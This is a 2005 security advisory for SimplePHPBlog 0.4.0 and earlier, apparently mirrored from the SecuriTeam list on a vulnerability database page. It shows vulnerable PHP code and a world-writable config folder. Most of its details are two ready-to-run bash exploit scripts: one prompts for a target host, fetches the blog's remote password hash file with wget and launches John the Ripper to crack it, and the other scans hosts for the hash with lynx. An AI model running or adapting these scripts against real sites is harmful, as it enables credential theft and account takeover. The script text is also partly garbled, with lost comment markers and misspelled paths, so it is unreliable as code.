Search...

[EXPL] SimplePHPBlog Password Disclosure (Exploit)

2005-08-14T00:00:00
ID SECURITYVULNS:DOC:9470
Type securityvulns
Reporter Securityvulns
Modified 2005-08-14T00:00:00

Description

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html

SimplePHPBlog Password Disclosure (Exploit)

SUMMARY

<http://www.simplephpblog.com/> SimplePHPBlog - "The main advantage of using <http://www.simplephpblog.com/> Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server."

A vulnerability in SimplePHPBlog allows remote attackers to cause the program to disclose its password hash file.

DETAILS

Vulnerable Systems: * SimplePHPBlog versions 0.4.0 and prior

Vulnerable code: bash-3.00# cat install02.php $result = create_folder( 'config' );

bash-3.00# cat sb_login.php // If there's no password file then need to redirect them. $passFile = 'config/password.txt';

function create_password ( $user, $pass ) { // Generate and store password hash

$mypasswd = $user.$pass; $hashed = crypt($mypasswd);

// Save File $filename = 'config/password.txt'; $result = sb_write_file( $filename, $hashed );

function check_password ( $user, $pass ) { // Check password against hashed password file

$passFile = 'config/password.txt'; $hashed = sb_read_file( $passFile );

bash-3.00# ls -l `pwd` |grep config drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config

Exploit: bash-3.00$ cat 0xfuck-phpblog.sh

!/bin/bash

0xfuck-phpblog.sh - SimplePHPBlog Remote Password Disclosure. (for

dummy)

0xpjply CONFIDENTIAL - SOURCE MATERIALS

This is published proprietary source code of 0xpjply

(C) COPYRIGHT 0xpjply security guru group, 2005

All Rights Reserved

dummy exploit written by pjphem && infected on July 2005

contact:

pjphem && LazyCrs

pjphem@mybox.it && fLazyCrs@GMail.com

Greetz:

You think you know? You have no idea!

fluffi-

RAFA FREE

echo "" echo "" echo " +++++++++++++++++++++++++++++ " echo " =: SimplePHPBlog Remote Password Disclosure. - for dummy :=
" echo " +++++++++++++++++++++++++++++ " echo "" echo " c0de by pjphem " echo "" echo "" echo " vulnerabili Simple php blog 0.4.4 <= " echo "" echo "" echo -n "inserisci un hostname: " ; read hostname ; echo -n "inserisci dir: " ; read dir ; echo "" echo "[] praparando l'ambiente..." mkdir 0xpjply cd 0xpjply echo -t3 "[] OK!" echo "[] Cattura password..." wget http://$hostname/$dir/config/password.txt echo "[] OK!" echo "" echo "" echo "Show password: (md5)" echo "" cat password.txt echo "" rm -rf password.txt echo "" echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] " read Q if [ $Q = y ]; then echo "[] OK!" ; wget [John the RipperURL]/john.tar.gz else exit 1; fi tar -zxf john.tar.gz cd john echo "" echo "[] Dowloading password.." echo "" wget http://$hostname/$dir/config/password.txt echo "" echo "Done!" echo "" echo "STARING John for decript password.. enJoy" /jonh password.txt echo "" echo ""

bash-3.00$ cat 0xfuck-phpblog-scanner.sh

!/bin/bash

Simple tester for phpblog

phpblog 0.4.4 <=

echo "host , directory blog: (ex. test.it blog)" read HOST BLOG lynx -source http://$HOST/$BLOG/config/password.txt | grep $1$ >> 0wn4bl3 bash-3.00$

ADDITIONAL INFORMATION

The information has been provided by <mailto:pjphem@mybox.it> pjphem.

========================================

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by